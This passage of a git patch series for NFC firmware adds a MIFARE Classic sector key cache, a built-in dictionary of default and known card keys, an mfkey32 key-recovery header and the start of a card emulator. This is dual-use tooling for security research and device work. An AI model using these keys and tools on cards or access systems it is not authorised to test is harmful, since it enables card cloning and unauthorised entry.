key_a_known[MF_KEY_CACHE_MAX_SECTORS]; + bool key_b_known[MF_KEY_CACHE_MAX_SECTORS]; + uint8_t key_a[MF_KEY_CACHE_MAX_SECTORS][6]; + uint8_t key_b[MF_KEY_CACHE_MAX_SECTORS][6]; + int sector_count; +} mf_key_cache_entry_t; + +void mf_key_cache_init(void); +bool mf_key_cache_lookup(const uint8_t* uid, uint8_t uid_len, + int sector, mf_key_type_t type, + uint8_t key_out[6]); +void mf_key_cache_store(const uint8_t* uid, uint8_t uid_len, + int sector, int sector_count, + mf_key_type_t type, + const uint8_t key[6]); +void mf_key_cache_save(void); +void mf_key_cache_clear_uid(const uint8_t* uid, uint8_t uid_len); +int mf_key_cache_get_known_count(const uint8_t* uid, uint8_t uid_len); + +#ifdef __cplusplus +} +#endif +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_dict.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_dict.h new file mode 100644 index 00000000..c12cdc0b --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_dict.h @@ -0,0 +1,27 @@ +#ifndef MF_KEY_DICT_H +#define MF_KEY_DICT_H + +#include +#include +#include "highboy_nfc_error.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Maximum user-added keys stored in NVS (on top of built-in). */ +#define MF_KEY_DICT_MAX_EXTRA 128 + +/* Total built-in keys count (defined in .c). */ +extern const int MF_KEY_DICT_BUILTIN_COUNT; + +void mf_key_dict_init(void); +int mf_key_dict_count(void); +void mf_key_dict_get(int idx, uint8_t key_out[6]); +bool mf_key_dict_contains(const uint8_t key[6]); +hb_nfc_err_t mf_key_dict_add(const uint8_t key[6]); + +#ifdef __cplusplus +} +#endif +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mfkey.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mfkey.h new file mode 100644 index 00000000..c75efefe --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mfkey.h @@ -0,0 +1,15 @@ +/** + * @file mfkey.h + * @brief MFKey key recovery attacks for MIFARE Classic. + */ +#ifndef MFKEY_H +#define MFKEY_H + +#include +#include + +/** Recover key from two nonces (nested attack). */ +bool mfkey32(uint32_t uid, uint32_t nt0, uint32_t nr0, uint32_t ar0, + uint32_t nt1, uint32_t nr1, uint32_t ar1, uint64_t* key); + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_cache.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_cache.c new file mode 100644 index 00000000..d9476f5a --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_cache.c @@ -0,0 +1,257 @@ +/** + * @file mf_key_cache.c + * @brief MIFARE UID-keyed sector key cache — in-memory + NVS-backed persistence. + */ + +#include +#include "esp_log.h" +#include "nvs.h" +#include "highboy_nfc_error.h" +#include "mf_key_cache.h" + +static const char* TAG = "mf_key_cache"; + +#define NVS_NS "nfc_kcache" +#define NVS_KEY_COUNT "count" +#define NVS_ENTRY_PFX "e_" + +/* ------------------------------------------------------------------------- + * In-memory state + * ------------------------------------------------------------------------- */ +static mf_key_cache_entry_t s_cache[MF_KEY_CACHE_MAX_CARDS]; +static int s_count = 0; + +/* ------------------------------------------------------------------------- + * Internal helpers + * ------------------------------------------------------------------------- */ + +static int find_entry(const uint8_t* uid, uint8_t uid_len) +{ + for (int i = 0; i < s_count; i++) { + if (s_cache[i].uid_len == uid_len && + memcmp(s_cache[i].uid, uid, uid_len) == 0) { + return i; + } + } + return -1; +} + +/* ------------------------------------------------------------------------- + * Public API + * ------------------------------------------------------------------------- */ + +void mf_key_cache_init(void) +{ + s_count = 0; + memset(s_cache, 0, sizeof(s_cache)); + + nvs_handle_t handle; + esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &handle); + if (err != ESP_OK) { + ESP_LOGW(TAG, "NVS open failed (0x%x), starting with empty cache", err); + return; + } + + uint8_t count = 0; + err = nvs_get_u8(handle, NVS_KEY_COUNT, &count); + if (err != ESP_OK || count == 0) { + nvs_close(handle); + return; + } + + if (count > MF_KEY_CACHE_MAX_CARDS) { + count = MF_KEY_CACHE_MAX_CARDS; + } + + for (uint8_t i = 0; i < count; i++) { + char entry_name[16]; + snprintf(entry_name, sizeof(entry_name), NVS_ENTRY_PFX "%u", (unsigned)i); + + size_t len = sizeof(mf_key_cache_entry_t); + err = nvs_get_blob(handle, entry_name, &s_cache[s_count], &len); + if (err == ESP_OK && len == sizeof(mf_key_cache_entry_t)) { + s_count++; + } else { + ESP_LOGW(TAG, "Failed to load cache entry %s (err 0x%x)", entry_name, err); + } + } + + nvs_close(handle); + ESP_LOGI(TAG, "Loaded %d cache entries from NVS", s_count); +} + +bool mf_key_cache_lookup(const uint8_t* uid, uint8_t uid_len, + int sector, mf_key_type_t type, + uint8_t key_out[6]) +{ + if (!uid || sector < 0 || sector >= MF_KEY_CACHE_MAX_SECTORS) { + return false; + } + + int idx = find_entry(uid, uid_len); + if (idx < 0) { + return false; + } + + const mf_key_cache_entry_t* entry = &s_cache[idx]; + + if (type == MF_KEY_A) { + if (!entry->key_a_known[sector]) { + return false; + } + memcpy(key_out, entry->key_a[sector], 6); + return true; + } else { + if (!entry->key_b_known[sector]) { + return false; + } + memcpy(key_out, entry->key_b[sector], 6); + return true; + } +} + +void mf_key_cache_store(const uint8_t* uid, uint8_t uid_len, + int sector, int sector_count, + mf_key_type_t type, + const uint8_t key[6]) +{ + if (!uid || !key || sector < 0 || sector >= MF_KEY_CACHE_MAX_SECTORS) { + return; + } + + int idx = find_entry(uid, uid_len); + + if (idx < 0) { + if (s_count >= MF_KEY_CACHE_MAX_CARDS) { + /* Evict oldest entry (index 0), shift everything down. */ + ESP_LOGW(TAG, "Cache full, evicting oldest entry"); + memmove(&s_cache[0], &s_cache[1], + (MF_KEY_CACHE_MAX_CARDS - 1) * sizeof(mf_key_cache_entry_t)); + s_count--; + } + + idx = s_count; + memset(&s_cache[idx], 0, sizeof(mf_key_cache_entry_t)); + memcpy(s_cache[idx].uid, uid, uid_len); + s_cache[idx].uid_len = uid_len; + s_cache[idx].sector_count = sector_count; + s_count++; + } else if (sector_count > s_cache[idx].sector_count) { + s_cache[idx].sector_count = sector_count; + } + + if (type == MF_KEY_A) { + memcpy(s_cache[idx].key_a[sector], key, 6); + s_cache[idx].key_a_known[sector] = true; + } else { + memcpy(s_cache[idx].key_b[sector], key, 6); + s_cache[idx].key_b_known[sector] = true; + } +} + +void mf_key_cache_save(void) +{ + nvs_handle_t handle; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &handle); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS open for save failed (0x%x)", err); + return; + } + + for (int i = 0; i < s_count; i++) { + char entry_name[16]; + snprintf(entry_name, sizeof(entry_name), NVS_ENTRY_PFX "%d", i); + + err = nvs_set_blob(handle, entry_name, &s_cache[i], + sizeof(mf_key_cache_entry_t)); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS set_blob for entry %d failed (0x%x)", i, err); + } + } + + err = nvs_set_u8(handle, NVS_KEY_COUNT, (uint8_t)s_count); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS set count failed (0x%x)", err); + } + + nvs_commit(handle); + nvs_close(handle); + + ESP_LOGI(TAG, "Saved %d cache entries to NVS", s_count); +} + +void mf_key_cache_clear_uid(const uint8_t* uid, uint8_t uid_len) +{ + if (!uid) { + return; + } + + int idx = find_entry(uid, uid_len); + if (idx < 0) { + return; + } + + /* Shift remaining entries down to fill the gap. */ + if (idx < s_count - 1) { + memmove(&s_cache[idx], &s_cache[idx + 1], + (s_count - idx - 1) * sizeof(mf_key_cache_entry_t)); + } + memset(&s_cache[s_count - 1], 0, sizeof(mf_key_cache_entry_t)); + s_count--; + + /* Persist the updated cache to NVS. */ + nvs_handle_t handle; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &handle); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS open for clear failed (0x%x)", err); + return; + } + + /* Rewrite all live entries and update count. Stale entries beyond + * the new count are ignored on next load (count guards the loop). */ + for (int i = 0; i < s_count; i++) { + char entry_name[16]; + snprintf(entry_name, sizeof(entry_name), NVS_ENTRY_PFX "%d", i); + err = nvs_set_blob(handle, entry_name, &s_cache[i], + sizeof(mf_key_cache_entry_t)); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS set_blob during clear rewrite failed (0x%x)", err); + } + } + + err = nvs_set_u8(handle, NVS_KEY_COUNT, (uint8_t)s_count); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS set count after clear failed (0x%x)", err); + } + + nvs_commit(handle); + nvs_close(handle); + + ESP_LOGI(TAG, "Cleared UID entry from cache (remaining: %d)", s_count); +} + +int mf_key_cache_get_known_count(const uint8_t* uid, uint8_t uid_len) +{ + if (!uid) { + return 0; + } + + int idx = find_entry(uid, uid_len); + if (idx < 0) { + return 0; + } + + const mf_key_cache_entry_t* entry = &s_cache[idx]; + int known = 0; + int sectors = entry->sector_count; + if (sectors > MF_KEY_CACHE_MAX_SECTORS) { + sectors = MF_KEY_CACHE_MAX_SECTORS; + } + + for (int s = 0; s < sectors; s++) { + if (entry->key_a_known[s]) known++; + if (entry->key_b_known[s]) known++; + } + + return known; +} diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_dict.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_dict.c new file mode 100644 index 00000000..af9ab7df --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_dict.c @@ -0,0 +1,242 @@ +/** + * @file mf_key_dict.c + * @brief MIFARE key dictionary — built-in keys + NVS-backed user key storage. + */ + +#include +#include "esp_log.h" +#include "nvs.h" +#include "highboy_nfc_error.h" +#include "mf_key_dict.h" + +static const char* TAG = "mf_key_dict"; + +/* ------------------------------------------------------------------------- + * Built-in key table + * ------------------------------------------------------------------------- */ +static const uint8_t s_builtin_keys[][6] = { + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, + { 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5 }, + { 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5 }, + { 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7 }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, + { 0xA0, 0xB0, 0xC0, 0xD0, 0xE0, 0xF0 }, + { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF }, + { 0x4D, 0x3A, 0x99, 0xC3, 0x51, 0xDD }, + { 0x1A, 0x98, 0x2C, 0x7E, 0x45, 0x9A }, + { 0x71, 0x4C, 0x5C, 0x88, 0x6E, 0x97 }, + { 0x58, 0x7E, 0xE5, 0xF9, 0x35, 0x0F }, + { 0xA0, 0x47, 0x8C, 0xC3, 0x90, 0x91 }, + { 0x53, 0x3C, 0xB6, 0xC7, 0x23, 0xF6 }, + { 0x8F, 0xD0, 0xA4, 0xF2, 0x56, 0xE9 }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x01 }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x02 }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x03 }, + { 0xC3, 0x4B, 0xF0, 0x36, 0x40, 0x15 }, + { 0x9A, 0xB3, 0x45, 0x67, 0xAB, 0x34 }, + { 0x23, 0x40, 0x4E, 0x30, 0xD3, 0x4A }, + { 0x19, 0x74, 0x97, 0xC1, 0xC9, 0x31 }, + { 0xAC, 0xDD, 0xEB, 0xC3, 0x9C, 0x03 }, + { 0xEA, 0x64, 0x67, 0x23, 0xA9, 0x00 }, + { 0x21, 0x4F, 0x17, 0x39, 0x5B, 0x10 }, + { 0x11, 0x49, 0x7C, 0x33, 0xAF, 0xE2 }, + { 0x49, 0x46, 0x34, 0x34, 0x76, 0x41 }, + { 0x31, 0x45, 0x56, 0x41, 0x4F, 0x3A }, + { 0x1A, 0x2B, 0x3C, 0x4D, 0x5E, 0x6F }, + { 0xE9, 0x82, 0x4F, 0x4A, 0x2E, 0x4C }, + { 0xD7, 0x93, 0xA7, 0x52, 0xA8, 0xB7 }, + { 0x34, 0xEE, 0xF6, 0x14, 0xCE, 0x3A }, + { 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00 }, + { 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF }, + { 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC }, + { 0xAB, 0xCD, 0xEF, 0x12, 0x34, 0x56 }, + { 0xDE, 0xAD, 0xBE, 0xEF, 0xCA, 0xFE }, + { 0xFA, 0xCE, 0xB0, 0x07, 0x13, 0x37 }, + { 0x4A, 0x6F, 0x68, 0x6E, 0x57, 0x69 }, + { 0x6B, 0x65, 0x79, 0x31, 0x32, 0x33 }, + { 0x87, 0x3E, 0x1A, 0xCF, 0x5A, 0xA3 }, + { 0xF3, 0x21, 0x72, 0xE9, 0x89, 0x2E }, + { 0x40, 0xA8, 0xE0, 0x00, 0x00, 0x00 }, + { 0xBE, 0x6A, 0x60, 0x14, 0x96, 0x3B }, + { 0xD2, 0xBA, 0x54, 0x79, 0xE1, 0x28 }, + { 0x8E, 0x51, 0x7E, 0x70, 0xF7, 0x58 }, + { 0x61, 0xDA, 0x06, 0xA0, 0x55, 0xDE }, + { 0x37, 0x06, 0x58, 0x7C, 0xD9, 0x36 }, + { 0x29, 0xD2, 0x41, 0x42, 0xDA, 0x17 }, + { 0x57, 0x27, 0x29, 0xB2, 0x7E, 0x67 }, + { 0x52, 0x27, 0x57, 0xC1, 0xB2, 0xA1 }, + { 0x83, 0x4B, 0x03, 0x27, 0xB6, 0xAF }, + { 0x28, 0x7E, 0xC5, 0x65, 0xFF, 0x5C }, + { 0x1C, 0x0E, 0xB4, 0xC7, 0x38, 0xA3 }, + { 0x4E, 0xE4, 0x82, 0xC5, 0xF3, 0xC5 }, + { 0x12, 0x21, 0xB4, 0x32, 0x11, 0xD4 }, + { 0x96, 0x31, 0x43, 0x04, 0x5A, 0x8C }, + { 0x1B, 0x75, 0x5D, 0x87, 0x61, 0xA0 }, + { 0x3B, 0x1C, 0x3B, 0x55, 0x34, 0x88 }, + { 0x88, 0x44, 0x40, 0x13, 0x9C, 0x22 }, + { 0xA3, 0xDA, 0xCC, 0x68, 0x98, 0xA3 }, + { 0x8D, 0xD4, 0x0D, 0x2A, 0x91, 0x57 }, + { 0x27, 0x05, 0x67, 0x3B, 0x77, 0x84 }, + { 0x60, 0x90, 0x6C, 0x78, 0x68, 0x73 }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x05 }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x07 }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF }, + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE }, + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD }, + { 0xC3, 0x7A, 0xC4, 0x3D, 0xA1, 0x00 }, + { 0x9C, 0x46, 0x14, 0x0A, 0xA6, 0xB2 }, + { 0x48, 0x62, 0xCF, 0x60, 0xED, 0x62 }, + { 0x08, 0xB9, 0xE7, 0xB2, 0xA6, 0x6B }, + { 0xF1, 0x22, 0xD7, 0x3B, 0x00, 0x48 }, + { 0x14, 0x17, 0x37, 0x23, 0x02, 0x4A }, + { 0x0C, 0xF1, 0x2A, 0x80, 0xF5, 0x4A }, + { 0xD3, 0xC4, 0xFE, 0x46, 0xA0, 0x3B }, + { 0x36, 0x25, 0x95, 0x36, 0x98, 0xDA }, + { 0xB8, 0xD9, 0xA6, 0x0E, 0x27, 0x4A }, + { 0x7E, 0x85, 0x45, 0xCD, 0x23, 0xE4 }, +}; + +const int MF_KEY_DICT_BUILTIN_COUNT = + (int)(sizeof(s_builtin_keys) / sizeof(s_builtin_keys[0])); + +/* ------------------------------------------------------------------------- + * Extra keys loaded from NVS + * ------------------------------------------------------------------------- */ +static uint8_t s_extra_keys[MF_KEY_DICT_MAX_EXTRA][6]; +static int s_extra_count = 0; + +#define NVS_NS "nfc_dict" +#define NVS_KEY_COUNT "extra_count" +#define NVS_KEY_PREFIX "k_" + +/* ------------------------------------------------------------------------- + * Public API + * ------------------------------------------------------------------------- */ + +void mf_key_dict_init(void) +{ + s_extra_count = 0; + + nvs_handle_t handle; + esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &handle); + if (err != ESP_OK) { + ESP_LOGW(TAG, "NVS open failed (0x%x), starting with empty extra keys", err); + return; + } + + uint8_t count = 0; + err = nvs_get_u8(handle, NVS_KEY_COUNT, &count); + if (err != ESP_OK || count == 0) { + nvs_close(handle); + return; + } + + if (count > MF_KEY_DICT_MAX_EXTRA) { + count = MF_KEY_DICT_MAX_EXTRA; + } + + for (uint8_t i = 0; i < count; i++) { + char key_name[16]; + snprintf(key_name, sizeof(key_name), NVS_KEY_PREFIX "%u", (unsigned)i); + + size_t len = 6; + err = nvs_get_blob(handle, key_name, s_extra_keys[s_extra_count], &len); + if (err == ESP_OK && len == 6) { + s_extra_count++; + } else { + ESP_LOGW(TAG, "Failed to load key %s (err 0x%x)", key_name, err); + } + } + + nvs_close(handle); + ESP_LOGI(TAG, "Loaded %d extra keys from NVS", s_extra_count); +} + +int mf_key_dict_count(void) +{ + return MF_KEY_DICT_BUILTIN_COUNT + s_extra_count; +} + +void mf_key_dict_get(int idx, uint8_t key_out[6]) +{ + if (idx < 0) { + return; + } + + if (idx < MF_KEY_DICT_BUILTIN_COUNT) { + memcpy(key_out, s_builtin_keys[idx], 6); + return; + } + + int extra_idx = idx - MF_KEY_DICT_BUILTIN_COUNT; + if (extra_idx < s_extra_count) { + memcpy(key_out, s_extra_keys[extra_idx], 6); + } +} + +bool mf_key_dict_contains(const uint8_t key[6]) +{ + for (int i = 0; i < MF_KEY_DICT_BUILTIN_COUNT; i++) { + if (memcmp(s_builtin_keys[i], key, 6) == 0) { + return true; + } + } + + for (int i = 0; i < s_extra_count; i++) { + if (memcmp(s_extra_keys[i], key, 6) == 0) { + return true; + } + } + + return false; +} + +hb_nfc_err_t mf_key_dict_add(const uint8_t key[6]) +{ + if (s_extra_count >= MF_KEY_DICT_MAX_EXTRA) { + ESP_LOGE(TAG, "Extra key dictionary is full (%d)", MF_KEY_DICT_MAX_EXTRA); + return HB_NFC_ERR_INTERNAL; + } + + if (mf_key_dict_contains(key)) { + ESP_LOGD(TAG, "Key already in dictionary, skipping"); + return HB_NFC_OK; + } + + memcpy(s_extra_keys[s_extra_count], key, 6); + s_extra_count++; + + nvs_handle_t handle; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &handle); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS open for write failed (0x%x)", err); + s_extra_count--; + return HB_NFC_ERR_INTERNAL; + } + + char key_name[16]; + snprintf(key_name, sizeof(key_name), NVS_KEY_PREFIX "%d", s_extra_count - 1); + + err = nvs_set_blob(handle, key_name, key, 6); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS set_blob failed (0x%x)", err); + s_extra_count--; + nvs_close(handle); + return HB_NFC_ERR_INTERNAL; + } + + err = nvs_set_u8(handle, NVS_KEY_COUNT, (uint8_t)s_extra_count); + if (err != ESP_OK) { + ESP_LOGE(TAG, "NVS set count failed (0x%x)", err); + } + + nvs_commit(handle); + nvs_close(handle); + + ESP_LOGI(TAG, "Added new key to dictionary (total extra: %d)", s_extra_count); + return HB_NFC_OK; +} From 58450e2e9c74352139daa5ba3c36f3983c25532c Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:43:56 -0300 Subject: [PATCH 58/61] feat(nfc): add MIFARE Classic emulation --- .../protocols/mifare/include/mf_classic_emu.h | 241 +++ .../nfc/protocols/mifare/mf_classic_emu.c | 1445 +++++++++++++++++ 2 files changed, 1686 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_emu.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/mf_classic_emu.c diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_emu.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_emu.h new file mode 100644 index 00000000..6d4b324f --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_emu.h @@ -0,0 +1,241 @@ +/** + * @file mf_classic_emu.h + */ +#ifndef MF_CLASSIC_EMU_H +#define MF_CLASSIC_EMU_H + +#include +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define MFC_EMU_MAX_SECTORS 40 +#define MFC_EMU_MAX_BLOCKS 256 +#define MFC_EMU_BLOCK_SIZE 16 + +#define MFC_ACK 0x0A +#define MFC_NACK_INVALID_OP 0x00 +#define MFC_NACK_PARITY_CRC 0x01 +#define MFC_NACK_OTHER 0x04 +#define MFC_NACK_NAK 0x05 + +#define MFC_CMD_AUTH_KEY_A 0x60 +#define MFC_CMD_AUTH_KEY_B 0x61 +#define MFC_CMD_READ 0x30 +#define MFC_CMD_WRITE 0xA0 +#define MFC_CMD_DECREMENT 0xC0 +#define MFC_CMD_INCREMENT 0xC1 +#define MFC_CMD_RESTORE 0xC2 +#define MFC_CMD_TRANSFER 0xB0 +#define MFC_CMD_HALT 0x50 + +typedef enum { + MFC_AC_DATA_RD_AB = 0, + MFC_AC_DATA_RD_AB_W_NONE = 2, + MFC_AC_DATA_RD_AB_W_B = 4, + MFC_AC_DATA_NEVER = 7, +} mfc_ac_data_t; + +typedef struct { + + uint8_t uid[10]; + uint8_t uid_len; + uint8_t atqa[2]; + uint8_t sak; + mf_classic_type_t type; + + + uint8_t blocks[MFC_EMU_MAX_BLOCKS][MFC_EMU_BLOCK_SIZE]; + int total_blocks; + + + struct { + uint8_t key_a[6]; + uint8_t key_b[6]; + bool key_a_known; + bool key_b_known; + } keys[MFC_EMU_MAX_SECTORS]; + + int sector_count; +} mfc_emu_card_data_t; + +typedef enum { + MFC_EMU_STATE_IDLE = 0, + MFC_EMU_STATE_LISTEN, + MFC_EMU_STATE_ACTIVATED, + MFC_EMU_STATE_AUTH_SENT_NT, + MFC_EMU_STATE_AUTHENTICATED, + MFC_EMU_STATE_WRITE_PENDING, + MFC_EMU_STATE_VALUE_PENDING, + MFC_EMU_STATE_HALTED, + MFC_EMU_STATE_ERROR, +} mfc_emu_state_t; + +typedef struct { + int total_auths; + int successful_auths; + int failed_auths; + int reads_served; + int writes_served; + int writes_blocked; + int value_ops; + int halts; + int nacks_sent; + int unknown_cmds; + int field_losses; + int cycles; + int parity_errors; +} mfc_emu_stats_t; + +typedef enum { + MFC_EMU_EVT_ACTIVATED, + MFC_EMU_EVT_AUTH_SUCCESS, + MFC_EMU_EVT_AUTH_FAIL, + MFC_EMU_EVT_READ, + MFC_EMU_EVT_WRITE, + MFC_EMU_EVT_WRITE_BLOCKED, + MFC_EMU_EVT_VALUE_OP, + MFC_EMU_EVT_HALT, + MFC_EMU_EVT_FIELD_LOST, + MFC_EMU_EVT_ERROR, +} mfc_emu_event_type_t; + +typedef struct { + mfc_emu_event_type_t type; + union { + struct { int sector; mf_key_type_t key_type; } auth; + struct { uint8_t block; } read; + struct { uint8_t block; } write; + struct { uint8_t cmd; uint8_t block; int32_t value; } value_op; + }; +} mfc_emu_event_t; + +typedef void (*mfc_emu_event_cb_t)(const mfc_emu_event_t* evt, void* ctx); + +/** + * Initialize emulator with card data. + * Copies the card dump into internal storage. + */ +hb_nfc_err_t mfc_emu_init(const mfc_emu_card_data_t* card); + +/** + * Set event callback for UI notifications. + */ +void mfc_emu_set_callback(mfc_emu_event_cb_t cb, void* ctx); + +/** + * Configure ST25R3916 hardware for target mode. + * Loads PT memory, sets mode, unmasks interrupts. + */ +hb_nfc_err_t mfc_emu_configure_target(void); + +/** + * Load PT Memory public wrapper for diagnostics. + * Writes ATQA/UID/BCC/SAK to chip's passive target memory. + */ +hb_nfc_err_t mfc_emu_load_pt_memory(void); + +/** + * Start emulation enters listen state. + * CMD_GOTO_SENSE to start listening for reader. + */ +hb_nfc_err_t mfc_emu_start(void); + +/** + * Run one cycle of the emulation loop. + * Call this repeatedly from main loop. + * Returns current state. + */ +mfc_emu_state_t mfc_emu_run_step(void); + +/** + * Stop emulation return to idle. + */ +void mfc_emu_stop(void); + +/** + * Update card data while emulator is running (hot swap). + * Used for switching profiles without restarting. + */ +hb_nfc_err_t mfc_emu_update_card(const mfc_emu_card_data_t* card); + +/** + * Get emulation statistics. + */ +mfc_emu_stats_t mfc_emu_get_stats(void); + +/** + * Get current state. + */ +mfc_emu_state_t mfc_emu_get_state(void); + +/** + * Get state name string. + */ +const char* mfc_emu_state_str(mfc_emu_state_t state); + +/** + * Helper: fill card data from a successful read. + */ +void mfc_emu_card_data_init(mfc_emu_card_data_t* cd, + const nfc_iso14443a_data_t* card, + mf_classic_type_t type); + +/** Initialize Type 2 emulation with a default UID + NDEF text payload. */ +hb_nfc_err_t t2t_emu_init_default(void); + +/** Configure ST25R3916 target mode for Type 2 emulation. */ +hb_nfc_err_t t2t_emu_configure_target(void); + +/** Start Type 2 emulation (enter listen state). */ +hb_nfc_err_t t2t_emu_start(void); + +/** Run one step of Type 2 emulation loop (non-blocking). */ +void t2t_emu_run_step(void); + +/** Stop Type 2 emulation. */ +void t2t_emu_stop(void); + +/** + * Extract access condition bits (C1, C2, C3) for a block within a sector. + * @param trailer 16-byte sector trailer data + * @param block_in_sector Block index within sector (0-3 for 4-block, 0-15 for 16-block) + * @param c1, c2, c3 Output access condition bits + * @return true if access bits parity is valid + */ +bool mfc_emu_get_access_bits(const uint8_t trailer[16], int block_in_sector, + uint8_t* c1, uint8_t* c2, uint8_t* c3); + +/** + * Check if a READ is permitted. + */ +bool mfc_emu_can_read(const uint8_t trailer[16], int block_in_sector, + mf_key_type_t auth_key_type); + +/** + * Check if a WRITE is permitted. + */ +bool mfc_emu_can_write(const uint8_t trailer[16], int block_in_sector, + mf_key_type_t auth_key_type); + +/** + * Check if INCREMENT is permitted (data blocks only). + */ +bool mfc_emu_can_increment(const uint8_t trailer[16], int block_in_sector, + mf_key_type_t auth_key_type); + +/** + * Check if DECREMENT/RESTORE/TRANSFER is permitted (data blocks only). + */ +bool mfc_emu_can_decrement(const uint8_t trailer[16], int block_in_sector, + mf_key_type_t auth_key_type); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_classic_emu.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_classic_emu.c new file mode 100644 index 00000000..04ad5277 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_classic_emu.c @@ -0,0 +1,1445 @@ +/** + * @file mf_classic_emu.c + * @brief MIFARE Classic card emulation. + */ + +#include "mf_classic_emu.h" +#include "crypto1.h" +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "st25r3916_cmd.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "hb_nfc_spi.h" +#include "hb_nfc_gpio.h" +#include "hb_nfc_timer.h" +#include "iso14443a.h" + +#include +#include "esp_log.h" +#include "esp_timer.h" +#include "esp_random.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +static const char* TAG = "mfc_emu"; + +static struct { + mfc_emu_card_data_t card; + mfc_emu_state_t state; + mfc_emu_stats_t stats; + + crypto1_state_t crypto; + bool crypto_active; + uint32_t auth_nt; + int auth_sector; + mf_key_type_t auth_key_type; + + uint32_t prng_state; + + uint8_t pending_block; + uint8_t pending_cmd; + int32_t pending_value; + + mfc_emu_event_cb_t cb; + void* cb_ctx; + + int64_t last_activity_us; + bool initialized; +} s_emu = { 0 }; + +static mfc_emu_state_t handle_auth(uint8_t auth_cmd, uint8_t block_num); +static mfc_emu_state_t handle_read(uint8_t block_num); +static mfc_emu_state_t handle_write_phase1(uint8_t block_num); +static mfc_emu_state_t handle_write_phase2(const uint8_t* data, int len); +static mfc_emu_state_t handle_value_op_phase1(uint8_t cmd, uint8_t block_num); +static mfc_emu_state_t handle_value_op_phase2(const uint8_t* data, int len); +static mfc_emu_state_t handle_transfer(uint8_t block_num); +static mfc_emu_state_t handle_halt(void); +static void emit_event(mfc_emu_event_type_t type); +static hb_nfc_err_t load_pt_memory(void); + +static uint32_t emu_prng_next(void) +{ + s_emu.prng_state = crypto1_prng_successor(s_emu.prng_state, 1); + return s_emu.prng_state; +} + +static uint32_t bytes_to_u32_be(const uint8_t* b) +{ + return ((uint32_t)b[0] << 24) | ((uint32_t)b[1] << 16) | + ((uint32_t)b[2] << 8) | (uint32_t)b[3]; +} + +static uint32_t bytes_to_u32_le(const uint8_t* b) +{ + return (uint32_t)b[0] | ((uint32_t)b[1] << 8) | + ((uint32_t)b[2] << 16) | ((uint32_t)b[3] << 24); +} + +static inline uint8_t bit_get(const uint8_t* buf, size_t bitpos) +{ + return (uint8_t)((buf[bitpos >> 3] >> (bitpos & 7U)) & 1U); +} + +static inline uint8_t bit_get_msb(const uint8_t* buf, size_t bitpos) +{ + return (uint8_t)((buf[bitpos >> 3] >> (7U - (bitpos & 7U))) & 1U); +} + +static inline uint8_t bit_reverse8(uint8_t v) +{ + v = (uint8_t)(((v & 